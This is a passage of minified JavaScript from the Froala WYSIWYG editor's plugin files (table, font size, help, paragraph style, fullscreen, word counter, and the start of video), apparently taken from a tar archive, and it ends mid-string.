c,d=T(document.createElement("tr")).append(o);for(c=0;c<n[0].length;c++)if(0===c||n[r.row][c]!=n[r.row][c-1]){var p=T(n[r.row][c]);p.is(e)||p.attr("rowspan",(parseInt(p.attr("rowspan"),10)||1)+1)}t[0].parentNode&&t[0].insertAdjacentElement("afterend",d[0])}N(),A.popups.hide("table.edit")}},addHeader:function pe(){var e=ae();if(0<e.length&&0===e.find("> th").length){var t,a="<thead><tr>",l=0;for(l=e.find("tr").first().find("> th").length,e.find("tr").first().find("> td").each(function(){var e=T(this);l+=parseInt(e.attr("colspan"),10)||1}),t=0;t<l;t++)a+="<th><br></th>";a+="</tr></thead>",e.prepend(a),g()}},addFooter:function he(){var e=ae();if(0<e.length&&0===e.find("tfoot").length){var t,a="<tfoot><tr>",l=0,n="> td";for(0<e.find("thead").length&&(n="> th"),e.find("tr").first().find(n).each(function(){var e=T(this);l+=parseInt(e.attr("colspan"),10)||1}),t=0;t<l;t++)a+="<td><br></td>";a+="</tr></tfoot>",e.append(a),g()}},removeHeader:function ue(){var e=ae(),t=e.find("> thead");if(0<(t=T(t)).length)if(0===e.find("tbody tr").length)u();else if(t.remove(),0<te().length)g();else{A.popups.hide("table.edit");var a=e.find("tbody tr").first().find("td").first().get(0);a&&(A.selection.setAtEnd(a),A.selection.restore())}},removeFooter:function ge(){var e=ae(),t=e.find("tfoot");if(0<t.length)if(0===e.find("tbody tr").length)u();else if(t.remove(),0<te().length)g();else{A.popups.hide("table.edit");var a=e.find("tbody tr").first().find("td").first().get(0);a&&(A.selection.setAtEnd(a),A.selection.restore())}},setBackground:t,showInsertPopup:function be(){var e=A.$tb.find('.fr-command[data-cmd="insertTable"]'),t=A.popups.get("table.insert");if(t||(t=c()),!t.hasClass("fr-active")){A.popups.refresh("table.insert"),A.popups.setContainer("table.insert",A.$tb);var a=A.button.getPosition(e),l=a.left,n=a.top;A.popups.show("table.insert",l,n,e.outerHeight())}},showEditPopup:g,showColorsPopup:s,back:function me(){0<te().length?g():(A.popups.hide("table.insert"),A.toolbar.showInline())},verticalAlign:function ve(e){A.$el.find(".fr-selected-cell").css("vertical-align",e)},horizontalAlign:function we(e){A.$el.find(".fr-selected-cell").css("text-align",e)},applyStyle:function Ce(e,t,a,l){if(0<t.length){if(A.opts.useClasses||("TABLE"===t.get(0).tagName?function r(e,t){var a=e.childNodes;if(0<a.length)for(var l=0;l<a.length;l++)"TD"===a[l].tagName?"fr-dashed-borders"===t||"fr-highlighted"===t||"fr-thick"===t?R(a[l]):"fr-alternate-rows"===t&&a[l].style.removeProperty("background-color"):r(a[l],t)}(t.get(0),e):R(t.get(0))),!a){var n=Object.keys(l);n.splice(n.indexOf(e),1),t.removeClass(n.join(" "))}t.toggleClass(e)}},selectedTable:ae,selectedCells:te,customColor:function Ee(){var e=A.popups.get("table.colors").find(".fr-table-colors-hex-layer input");e.length&&t(e.val())},selectCells:k}},ye.DefineIcon("insertTable",{NAME:"table",SVG_KEY:"insertTable"}),ye.RegisterCommand("insertTable",{title:"Insert Table",undo:!1,focus:!0,refreshOnCallback:!1,popup:!0,callback:function(){this.popups.isVisible("table.insert")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("table.insert")):this.table.showInsertPopup()},plugin:"table"}),ye.RegisterCommand("tableInsert",{callback:function(e,t,a){this.table.insert(t,a),this.popups.hide("table.insert")}}),ye.DefineIcon("tableHeader",{NAME:"header",FA5NAME:"heading",SVG_KEY:"tableHeader"}),ye.RegisterCommand("tableHeader",{title:"Table Header",focus:!1,toggle:!0,callback:function(){this.popups.get("table.edit").find('.fr-command[data-cmd="tableHeader"]').hasClass("fr-active")?this.table.removeHeader():this.table.addHeader()},refresh:function(e){var t=this.table.selectedTable();0<t.length&&(0===t.find("> thead").length?e.removeClass("fr-active").attr("aria-pressed",!1):e.addClass("fr-active").attr("aria-pressed",!0))}}),ye.DefineIcon("tableFooter",{NAME:"table",FA5NAME:"table",SVG_KEY:"tableFooter"}),ye.RegisterCommand("tableFooter",{title:"Table Footer",focus:!1,toggle:!0,callback:function(){this.popups.get("table.edit").find('.fr-command[data-cmd="tableFooter"]').hasClass("fr-active")?this.table.removeFooter():this.table.addFooter()},refresh:function(e){var t=this.table.selectedTable();0<t.length&&(0===t.find("tfoot").length?e.removeClass("fr-active").attr("aria-pressed",!1):e.addClass("fr-active").attr("aria-pressed",!0))}}),ye.DefineIcon("tableRows",{NAME:"bars",SVG_KEY:"row"}),ye.RegisterCommand("tableRows",{type:"dropdown",focus:!1,title:"Row",options:{above:"Insert row above",below:"Insert row below","delete":"Delete row"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=ye.COMMANDS.tableRows.options;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="tableRows" data-param1="'+a+'" title="'+this.language.translate(t[a])+'">'+this.language.translate(t[a])+"</a></li>");return e+="</ul>"},callback:function(e,t){"above"==t||"below"==t?this.table.insertRow(t):this.table.deleteRow()}}),ye.DefineIcon("tableColumns",{NAME:"bars fa-rotate-90",SVG_KEY:"columns"}),ye.RegisterCommand("tableColumns",{type:"dropdown",focus:!1,title:"Column",options:{before:"Insert column before",after:"Insert column after","delete":"Delete column"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=ye.COMMANDS.tableColumns.options;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="tableColumns" data-param1="'.concat(a,'" title="').concat(this.language.translate(t[a]),'">').concat(this.language.translate(t[a]),"</a></li>"));return e+="</ul>"},callback:function(e,t){"before"==t||"after"==t?this.table.insertColumn(t):this.table.deleteColumn()}}),ye.DefineIcon("tableCells",{NAME:"square-o",FA5NAME:"square",SVG_KEY:"cellOptions"}),ye.RegisterCommand("tableCells",{type:"dropdown",focus:!1,title:"Cell",options:{merge:"Merge cells","vertical-split":"Vertical split","horizontal-split":"Horizontal split"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=ye.COMMANDS.tableCells.options;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="tableCells" data-param1="'.concat(a,'" title="').concat(this.language.translate(t[a]),'">').concat(this.language.translate(t[a]),"</a></li>"));return e+="</ul>"},callback:function(e,t){"merge"==t?this.table.mergeCells():"vertical-split"==t?this.table.splitCellVertically():this.table.splitCellHorizontally()},refreshOnShow:function(e,t){1<this.$el.find(".fr-selected-cell").length?(t.find('a[data-param1="vertical-split"]').addClass("fr-disabled").attr("aria-disabled",!0),t.find('a[data-param1="horizontal-split"]').addClass("fr-disabled").attr("aria-disabled",!0),t.find('a[data-param1="merge"]').removeClass("fr-disabled").attr("aria-disabled",!1)):(t.find('a[data-param1="merge"]').addClass("fr-disabled").attr("aria-disabled",!0),t.find('a[data-param1="vertical-split"]').removeClass("fr-disabled").attr("aria-disabled",!1),t.find('a[data-param1="horizontal-split"]').removeClass("fr-disabled").attr("aria-disabled",!1))}}),ye.DefineIcon("tableRemove",{NAME:"trash",SVG_KEY:"removeTable"}),ye.RegisterCommand("tableRemove",{title:"Remove Table",focus:!1,callback:function(){this.table.remove()}}),ye.DefineIcon("tableStyle",{NAME:"paint-brush",SVG_KEY:"tableStyle"}),ye.RegisterCommand("tableStyle",{title:"Table Style",type:"dropdown",focus:!1,html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.tableStyles;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="tableStyle" data-param1="'.concat(a,'" title="').concat(this.language.translate(t[a]),'">').concat(this.language.translate(t[a]),"</a></li>"));return e+="</ul>"},callback:function(e,t){this.table.applyStyle(t,this.$el.find(".fr-selected-cell").closest("table"),this.opts.tableMultipleStyles,this.opts.tableStyles)},refreshOnShow:function(e,t){var a=this.$,l=this.$el.find(".fr-selected-cell").closest("table");l&&t.find(".fr-command").each(function(){var e=a(this).data("param1"),t=l.hasClass(e);a(this).toggleClass("fr-active",t).attr("aria-selected",t)})}}),ye.DefineIcon("tableCellBackground",{NAME:"tint",SVG_KEY:"cellBackground"}),ye.RegisterCommand("tableCellBackground",{title:"Cell Background",focus:!1,popup:!0,callback:function(){this.table.showColorsPopup()}}),ye.RegisterCommand("tableCellBackgroundColor",{undo:!0,focus:!1,callback:function(e,t){this.table.setBackground(t)}}),ye.DefineIcon("tableBack",{NAME:"arrow-left",SVG_KEY:"back"}),ye.RegisterCommand("tableBack",{title:"Back",undo:!1,focus:!1,back:!0,callback:function(){this.table.back()},refresh:function(e){0!==this.table.selectedCells().length||this.opts.toolbarInline?(e.removeClass("fr-hidden"),e.next(".fr-separator").removeClass("fr-hidden")):(e.addClass("fr-hidden"),e.next(".fr-separator").addClass("fr-hidden"))}}),ye.DefineIcon("tableCellVerticalAlign",{NAME:"arrows-v",FA5NAME:"arrows-alt-v",SVG_KEY:"verticalAlignMiddle"}),ye.RegisterCommand("tableCellVerticalAlign",{type:"dropdown",focus:!1,title:"Vertical Align",options:{Top:"Align Top",Middle:"Align Middle",Bottom:"Align Bottom"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=ye.COMMANDS.tableCellVerticalAlign.options;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="tableCellVerticalAlign" data-param1="'.concat(a.toLowerCase(),'" title="').concat(this.language.translate(t[a]),'">').concat(this.language.translate(a),"</a></li>"));return e+="</ul>"},callback:function(e,t){this.table.verticalAlign(t)},refreshOnShow:function(e,t){t.find('.fr-command[data-param1="'+this.$el.find(".fr-selected-cell").css("vertical-align")+'"]').addClass("fr-active").attr("aria-selected",!0)}}),ye.DefineIcon("tableCellHorizontalAlign",{NAME:"align-left",SVG_KEY:"alignLeft"}),ye.DefineIcon("align-left",{NAME:"align-left",SVG_KEY:"alignLeft"}),ye.DefineIcon("align-right",{NAME:"align-right",SVG_KEY:"alignRight"}),ye.DefineIcon("align-center",{NAME:"align-center",SVG_KEY:"alignCenter"}),ye.DefineIcon("align-justify",{NAME:"align-justify",SVG_KEY:"alignJustify"}),ye.RegisterCommand("tableCellHorizontalAlign",{type:"dropdown",focus:!1,title:"Horizontal Align",options:{left:"Align Left",center:"Align Center",right:"Align Right",justify:"Align Justify"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=ye.COMMANDS.tableCellHorizontalAlign.options;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command fr-title" tabIndex="-1" role="option" data-cmd="tableCellHorizontalAlign" data-param1="'.concat(a,'" title="').concat(this.language.translate(t[a]),'">').concat(this.icon.create("align-".concat(a)),'<span class="fr-sr-only">').concat(this.language.translate(t[a]),"</span></a></li>"));return e+="</ul>"},callback:function(e,t){this.table.horizontalAlign(t)},refresh:function(e){var t=this.table.selectedCells(),a=this.$;t.length&&e.find("> *").first().replaceWith(this.icon.create("align-".concat(this.helpers.getAlignment(a(t[0])))))},refreshOnShow:function(e,t){t.find('.fr-command[data-param1="'+this.helpers.getAlignment(this.$el.find(".fr-selected-cell").first())+'"]').addClass("fr-active").attr("aria-selected",!0)}}),ye.DefineIcon("tableCellStyle",{NAME:"magic",SVG_KEY:"cellStyle"}),ye.RegisterCommand("tableCellStyle",{title:"Cell Style",type:"dropdown",focus:!1,html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.tableCellStyles;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="tableCellStyle" data-param1="'.concat(a,'" title="').concat(this.language.translate(t[a]),'">').concat(this.language.translate(t[a]),"</a></li>"));return e+="</ul>"},callback:function(e,t){this.table.applyStyle(t,this.$el.find(".fr-selected-cell"),this.opts.tableCellMultipleStyles,this.opts.tableCellStyles)},refreshOnShow:function(e,t){var a=this.$,l=this.$el.find(".fr-selected-cell").first();l&&t.find(".fr-command").each(function(){var e=a(this).data("param1"),t=l.hasClass(e);a(this).toggleClass("fr-active",t).attr("aria-selected",t)})}}),ye.RegisterCommand("tableCellBackgroundCustomColor",{title:"OK",undo:!0,callback:function(){this.table.customColor()}}),ye.DefineIcon("tableColorRemove",{NAME:"eraser",SVG_KEY:"remove"})}); plugins/font_size.min.js 0000674 00000004052 00000000000 0011312 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],e):e(t.FroalaEditor)}(this,function(t){"use strict";t=t&&t.hasOwnProperty("default")?t["default"]:t,Object.assign(t.DEFAULTS,{fontSize:["8","9","10","11","12","14","18","24","30","36","48","60","72","96"],fontSizeSelection:!1,fontSizeDefaultSelection:"Font Size",fontSizeUnit:"px"}),t.PLUGINS.fontSize=function(o){var i=o.$;return{apply:function e(t){o.format.applyStyle("font-size",t)},refreshOnShow:function a(t,e){var n=i(o.selection.element()).css("font-size");"pt"===o.opts.fontSizeUnit&&(n="".concat(Math.round(72*parseFloat(n,10)/96),"pt")),e.find(".fr-command.fr-active").removeClass("fr-active").attr("aria-selected",!1),e.find('.fr-command[data-param1="'.concat(n,'"]')).addClass("fr-active").attr("aria-selected",!0)},refresh:function n(t){if(o.opts.fontSizeSelection){var e=o.helpers.getPX(i(o.selection.element()).css("font-size"));"pt"===o.opts.fontSizeUnit&&(e="".concat(Math.round(72*parseFloat(e,10)/96),"pt")),t.find("> span").text(e)}}}},t.RegisterCommand("fontSize",{type:"dropdown",title:"Font Size",displaySelection:function(t){return t.opts.fontSizeSelection},displaySelectionWidth:30,defaultSelection:function(t){return t.opts.fontSizeDefaultSelection},html:function(){for(var t='<ul class="fr-dropdown-list" role="presentation">',e=this.opts.fontSize,n=0;n<e.length;n++){var o=e[n];t+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="fontSize" data-param1="'.concat(o).concat(this.opts.fontSizeUnit,'" title="').concat(o,'">').concat(o,"</a></li>")}return t+="</ul>"},callback:function(t,e){this.fontSize.apply(e)},refresh:function(t){this.fontSize.refresh(t)},refreshOnShow:function(t,e){this.fontSize.refreshOnShow(t,e)},plugin:"fontSize"}),t.DefineIcon("fontSize",{NAME:"text-height",SVG_KEY:"fontSize"})}); plugins/help.min.js 0000674 00000005226 00000000000 0010246 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(e){"use strict";e=e&&e.hasOwnProperty("default")?e["default"]:e,Object.assign(e.DEFAULTS,{helpSets:[{title:"Inline Editor",commands:[{val:"OSkeyE",desc:"Show the editor"}]},{title:"Common actions",commands:[{val:"OSkeyC",desc:"Copy"},{val:"OSkeyX",desc:"Cut"},{val:"OSkeyV",desc:"Paste"},{val:"OSkeyZ",desc:"Undo"},{val:"OSkeyShift+Z",desc:"Redo"},{val:"OSkeyK",desc:"Insert Link"},{val:"OSkeyP",desc:"Insert Image"}]},{title:"Basic Formatting",commands:[{val:"OSkeyA",desc:"Select All"},{val:"OSkeyB",desc:"Bold"},{val:"OSkeyI",desc:"Italic"},{val:"OSkeyU",desc:"Underline"},{val:"OSkeyS",desc:"Strikethrough"},{val:"OSkey]",desc:"Increase Indent"},{val:"OSkey[",desc:"Decrease Indent"}]},{title:"Quote",commands:[{val:"OSkey'",desc:"Increase quote level"},{val:"OSkeyShift+'",desc:"Decrease quote level"}]},{title:"Image / Video",commands:[{val:"OSkey+",desc:"Resize larger"},{val:"OSkey-",desc:"Resize smaller"}]},{title:"Table",commands:[{val:"Alt+Space",desc:"Select table cell"},{val:"Shift+Left/Right arrow",desc:"Extend selection one cell"},{val:"Shift+Up/Down arrow",desc:"Extend selection one row"}]},{title:"Navigation",commands:[{val:"OSkey/",desc:"Shortcuts"},{val:"Alt+F10",desc:"Focus popup / toolbar"},{val:"Esc",desc:"Return focus to previous position"}]}]}),e.PLUGINS.help=function(c){var a,o=c.$,s="help";return{_init:function e(){},show:function d(){if(!a){var e="<h4>".concat(c.language.translate("Shortcuts"),"</h4>"),t=function n(){for(var e='<div class="fr-help-modal">',t=0;t<c.opts.helpSets.length;t++){var l=c.opts.helpSets[t],a="<table>";a+="<thead><tr><th>".concat(c.language.translate(l.title),"</th></tr></thead>"),a+="<tbody>";for(var o=0;o<l.commands.length;o++){var s=l.commands[o];a+="<tr>",a+="<td>".concat(c.language.translate(s.desc),"</td>"),a+="<td>".concat(s.val.replace("OSkey",c.helpers.isMac()?"⌘":"Ctrl+"),"</td>"),a+="</tr>"}e+=a+="</tbody></table>"}return e+="</div>"}(),l=c.modals.create(s,e,t);a=l.$modal,c.events.$on(o(c.o_win),"resize",function(){c.modals.resize(s)})}c.modals.show(s),c.modals.resize(s)},hide:function t(){c.modals.hide(s)}}},e.DefineIcon("help",{NAME:"question",SVG_KEY:"help"}),e.RegisterShortcut(e.KEYCODE.SLASH,"help",null,"/"),e.RegisterCommand("help",{title:"Help",icon:"help",undo:!1,focus:!1,modal:!0,callback:function(){this.help.show()},plugin:"help",showOnMobile:!1})}); plugins/paragraph_style.min.js 0000674 00000004320 00000000000 0012475 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(a,e){"object"==typeof exports&&"undefined"!=typeof module?e(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],e):e(a.FroalaEditor)}(this,function(a){"use strict";a=a&&a.hasOwnProperty("default")?a["default"]:a,Object.assign(a.DEFAULTS,{paragraphStyles:{"fr-text-gray":"Gray","fr-text-bordered":"Bordered","fr-text-spaced":"Spaced","fr-text-uppercase":"Uppercase"},paragraphMultipleStyles:!0}),a.PLUGINS.paragraphStyle=function(i){var p=i.$;return{_init:function a(){},apply:function c(a,e,t){void 0===e&&(e=i.opts.paragraphStyles),void 0===t&&(t=i.opts.paragraphMultipleStyles);var r="";t||((r=Object.keys(e)).splice(r.indexOf(a),1),r=r.join(" ")),i.selection.save(),i.html.wrap(!0,!0,!0,!0),i.selection.restore();var l=i.selection.blocks();i.selection.save();for(var n=p(l[0]).hasClass(a),s=0;s<l.length;s++)p(l[s]).removeClass(r).toggleClass(a,!n),p(l[s]).hasClass("fr-temp-div")&&p(l[s]).removeClass("fr-temp-div"),""===p(l[s]).attr("class")&&p(l[s]).removeAttr("class");if(1===l.length&&"fr-text-bordered"===a&&null===l[0].nextSibling){var o=p("<br>");l[0].after(o[0])}i.html.unwrap(),i.selection.restore()},refreshOnShow:function l(a,e){var t=i.selection.blocks();if(t.length){var r=p(t[0]);e.find(".fr-command").each(function(){var a=p(this).data("param1"),e=r.hasClass(a);p(this).toggleClass("fr-active",e).attr("aria-selected",e)})}}}},a.RegisterCommand("paragraphStyle",{type:"dropdown",html:function(){var a='<ul class="fr-dropdown-list" role="presentation">',e=this.opts.paragraphStyles;for(var t in e)e.hasOwnProperty(t)&&(a+='<li role="presentation"><a class="fr-command '.concat(t,'" tabIndex="-1" role="option" data-cmd="paragraphStyle" data-param1="').concat(t,'" title="').concat(this.language.translate(e[t]),'">').concat(this.language.translate(e[t]),"</a></li>"));return a+="</ul>"},title:"Paragraph Style",callback:function(a,e){this.paragraphStyle.apply(e)},refreshOnShow:function(a,e){this.paragraphStyle.refreshOnShow(a,e)},plugin:"paragraphStyle"}),a.DefineIcon("paragraphStyle",{NAME:"magic",SVG_KEY:"paragraphStyle"})}); plugins/fullscreen.min.js 0000674 00000007331 00000000000 0011457 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(e){"use strict";(e=e&&e.hasOwnProperty("default")?e["default"]:e).PLUGINS.fullscreen=function(s){var t,r,o,n,i=s.$,a=function a(){return s.$box.hasClass("fr-fullscreen")};function l(){if(s.helpers.isIOS()&&s.core.hasFocus())return s.$el.blur(),setTimeout(c,250),!1;t=s.helpers.scrollTop(),s.opts.iframe&&s.markdown&&s.markdown.isEnabled()&&(s.$box=s.$oel),s.$box.toggleClass("fr-fullscreen"),i("body").first().toggleClass("fr-fullscreen"),s.helpers.isMobile()&&(s.opts.toolbarBottom?s.$tb[0].removeAttribute("style"):(s.$tb.data("parent",s.$tb.parent()),s.$box.prepend(s.$tb),s.$tb.data("sticky-dummy")&&s.$tb.after(s.$tb.data("sticky-dummy")))),r=s.opts.height,o=s.opts.heightMax,n=s.opts.zIndex,s.opts.height=s.o_win.innerHeight-(s.opts.toolbarInline?0:s.$tb.outerHeight()+(s.$second_tb?s.$second_tb.outerHeight():0)),s.opts.zIndex=2147483641,s.opts.heightMax=null,s.size.refresh(),s.opts.toolbarInline&&s.toolbar.showInline();for(var e=s.$box.parent();!e.first().is("body");)e.addClass("fr-fullscreen-wrapper"),e=e.parent();s.opts.toolbarContainer&&s.$box.prepend(s.$tb),s.events.trigger("charCounter.update"),s.events.trigger("codeView.update"),s.$win.trigger("scroll")}function f(){if(s.helpers.isIOS()&&s.core.hasFocus())return s.$el.blur(),setTimeout(c,250),!1;s.$box.toggleClass("fr-fullscreen"),i("body").first().toggleClass("fr-fullscreen"),s.$tb.data("parent")&&s.$tb.data("parent").prepend(s.$tb),s.$tb.data("sticky-dummy")&&s.$tb.after(s.$tb.data("sticky-dummy")),s.opts.height=r,s.opts.heightMax=o,s.opts.zIndex=n,s.size.refresh(),s.o_win.scroll(0,t),s.opts.toolbarInline&&s.toolbar.showInline(),s.events.trigger("charCounter.update"),s.opts.toolbarSticky&&s.opts.toolbarStickyOffset&&(s.opts.toolbarBottom?s.$tb.css("bottom",s.opts.toolbarStickyOffset).data("bottom",s.opts.toolbarStickyOffset):s.$tb.css("top",s.opts.toolbarStickyOffset).data("top",s.opts.toolbarStickyOffset));for(var e=s.$box.parent();!e.first().is("body");)e.removeClass("fr-fullscreen-wrapper"),e=e.parent();s.opts.toolbarContainer&&i(s.opts.toolbarContainer).append(s.$tb),i(s.o_win).trigger("scroll"),s.events.trigger("codeView.update")}function c(){a()?f():l(),d(s.$tb.find('.fr-command[data-cmd="fullscreen"]'));var e=s.$tb.find('.fr-command[data-cmd="moreText"]'),t=s.$tb.find('.fr-command[data-cmd="moreParagraph"]'),r=s.$tb.find('.fr-command[data-cmd="moreRich"]'),o=s.$tb.find('.fr-command[data-cmd="moreMisc"]');e.length&&s.refresh.moreText(e),t.length&&s.refresh.moreParagraph(t),r.length&&s.refresh.moreRich(r),o.length&&s.refresh.moreMisc(o)}function d(e){var t=a();e.toggleClass("fr-active",t).attr("aria-pressed",t),e.find("> *").not(".fr-sr-only").replaceWith(t?s.icon.create("fullscreenCompress"):s.icon.create("fullscreen"))}return{_init:function e(){if(!s.$wp)return!1;s.events.$on(i(s.o_win),"resize",function(){a()&&(f(),l())}),s.events.on("toolbar.hide",function(){if(a()&&s.helpers.isMobile())return!1}),s.events.on("position.refresh",function(){if(s.helpers.isIOS())return!a()}),s.events.on("destroy",function(){a()&&f()},!0)},toggle:c,refresh:d,isActive:a}},e.RegisterCommand("fullscreen",{title:"Fullscreen",undo:!1,focus:!1,accessibilityFocus:!0,forcedRefresh:!0,toggle:!0,callback:function(){this.fullscreen.toggle()},refresh:function(e){this.fullscreen.refresh(e)},plugin:"fullscreen"}),e.DefineIcon("fullscreen",{NAME:"expand",SVG_KEY:"fullscreen"}),e.DefineIcon("fullscreenCompress",{NAME:"compress",SVG_KEY:"exitFullscreen"})}); plugins/word_counter.min.js 0000674 00000006077 00000000000 0012035 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(E){"use strict";E=E&&E.hasOwnProperty("default")?E["default"]:E,Object.assign(E.DEFAULTS,{wordCounterMax:-1,wordCounterCount:!0}),E.PLUGINS.wordCounter=function(C){var r,t=C.$;function f(){var e=C.el.innerText.toString();e=(e=(e=(e=(e=(e=(e=(e=e.replace(/(^\s*)|(\s*$)/gi," ")).replace(/\u00a0/g," ")).replace(/[ ]{2,}/gi," ")).replace(/\n /,"\n")).replace(/[\u200A\u200C-\u200D\uFEFF\u202F\u2000-\u2009\u205F\u3000\u1680\u00A0\u0020]/g," ")).replace(/[\u200B]/g,"")).replace(/\t+/g," ")).split(" ").join("\n");var t=C.$el.find(".fr-pagebreak"),r=e.split(/\r?\n/),n=0;return r.forEach(function(e){0<(e=e.replace(/\s/g,"")).length&&n++}),n-2*t.length}function e(e){var t=!1;if(C.opts.wordCounterMax<0)return!0;if(f()<C.opts.wordCounterMax)return!0;var r=e.which,n=C.selection.get(),o=n.focusOffset,a=n.focusNode.textContent,u=(a=a.replace(/\u00a0/g," ")).toUpperCase().charCodeAt(o-1),i=a.toUpperCase().charCodeAt(o);return n.focusNode.data||(u=i=NaN),!function s(e,t){if(C.keys.isCharacter(e)&&C.keys.isCharacter(t)&&e!=E.KEYCODE.SPACE&&t!=E.KEYCODE.SPACE)return!0;return!1}(u,i)||r!==E.KEYCODE.ENTER&&r!==E.KEYCODE.SPACE||(t=!0),(function c(e,t){return e===E.KEYCODE.SPACE&&t===E.KEYCODE.SPACE}(u,i)||function d(e,t){if(isNaN(e)&&t===E.KEYCODE.SPACE||e===E.KEYCODE.SPACE&&isNaN(t))return!0;return!1}(u,i)||function p(e,t){if(isNaN(e)&&isNaN(t))return!0;return!1}(u,i))&&C.keys.isCharacter(r)&&r!=E.KEYCODE.SPACE&&(t=!0),f()>C.opts.wordCounterMax&&(C.keys.isCharacter(r)||r===E.KEYCODE.ENTER)&&(t=!0),!(!C.keys.ctrlKey(e)&&t||r===E.KEYCODE.IME)||(e.preventDefault(),e.stopPropagation(),C.events.trigger("wordCounter.exceeded"),!1)}function n(){if(C.opts.wordCounterCount){var e=f()+(0<C.opts.wordCounterMax?"/"+C.opts.wordCounterMax:"");r.text("".concat(C.language.translate("Words")," : ").concat(e)),C.opts.toolbarBottom&&r.css("margin-bottom",C.$tb.outerHeight(!0));var t=C.$wp.get(0).offsetWidth-C.$wp.get(0).clientWidth;0<=t&&("rtl"==C.opts.direction?r.css("margin-left",t):r.css("margin-right",t))}}function o(e){return C.opts.wordCounterMax<0?e:t("<div>").html(e).text().split(" ").length+f()<=C.opts.wordCounterMax?e:(C.events.trigger("wordCounter.exceeded"),"")}return{_init:function a(){return!!C.$wp&&!!C.opts.wordCounterCount&&((r=t(document.createElement("span")).attr("class","fr-counter fr-wCounter")).css("bottom",C.$wp.css("border-bottom-width")),C.$second_tb?C.$second_tb.append(r):C.$wp.append(r),C.events.on("keydown",e,!0),C.events.on("paste.afterCleanup",o),C.events.on("keyup contentChanged input",function(){C.events.trigger("wordCounter.update")}),C.events.on("wordCounter.update",n),C.events.trigger("wordCounter.update"),void C.events.on("destroy",function(){t(C.o_win).off("resize.char".concat(C.id)),r.removeData().remove(),r=null}))},wordCount:f}}}); plugins/video.min.js 0000674 00000122566 00000000000 0010433 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(we){"use strict";we=we&&we.hasOwnProperty("default")?we["default"]:we,Object.assign(we.POPUP_TEMPLATES,{"video.insert":"[_BUTTONS_][_BY_URL_LAYER_][_EMBED_LAYER_][_UPLOAD_LAYER_][_PROGRESS_BAR_]","video.edit":"[_BUTTONS_]","video.size":"[_BUTTONS_][_SIZE_LAYER_]"}),Object.assign(we.DEFAULTS,{videoAllowedTypes:["mp4","webm","ogg","mp3","mpeg","url"],videoAllowedProviders:[".*"],videoDefaultAlign:"center",videoDefaultDisplay:"block",videoDefaultWidth:600,videoEditButtons:["videoReplace","videoRemove","videoDisplay","videoAlign","videoSize","autoplay"],videoInsertButtons:["videoBack","|","videoByURL","videoEmbed","videoUpload"],videoMaxSize:52428800,videoMove:!0,videoResize:!0,videoResponsive:!1,videoSizeButtons:["videoBack","|"],videoSplitHTML:!1,videoTextNear:!0,videoUpload:!0,videoUploadMethod:"POST",videoUploadParam:"file",videoUploadParams:{},videoUploadToS3:!1,videoUploadToAzure:!1,videoUploadURL:null}),we.VIDEO_PROVIDERS=[{test_regex:/^.*((youtu.be)|(youtube.com))\/((v\/)|(\/u\/\w\/)|(embed\/)|(watch\?))?\/?((shorts\/)|(v=))?([^#\&\?]*).*/,url_regex:/(?:https?:\/\/)?(?:www\.)?(?:m\.)?(?:youtube\.com|youtu\.be)\/(?:watch\?v=|embed\/|shorts\/)?([0-9a-zA-Z_\-]+)(.*)?/g,url_text:"https://www.youtube.com/embed/$1?$2",html:'<iframe width="640" height="360" 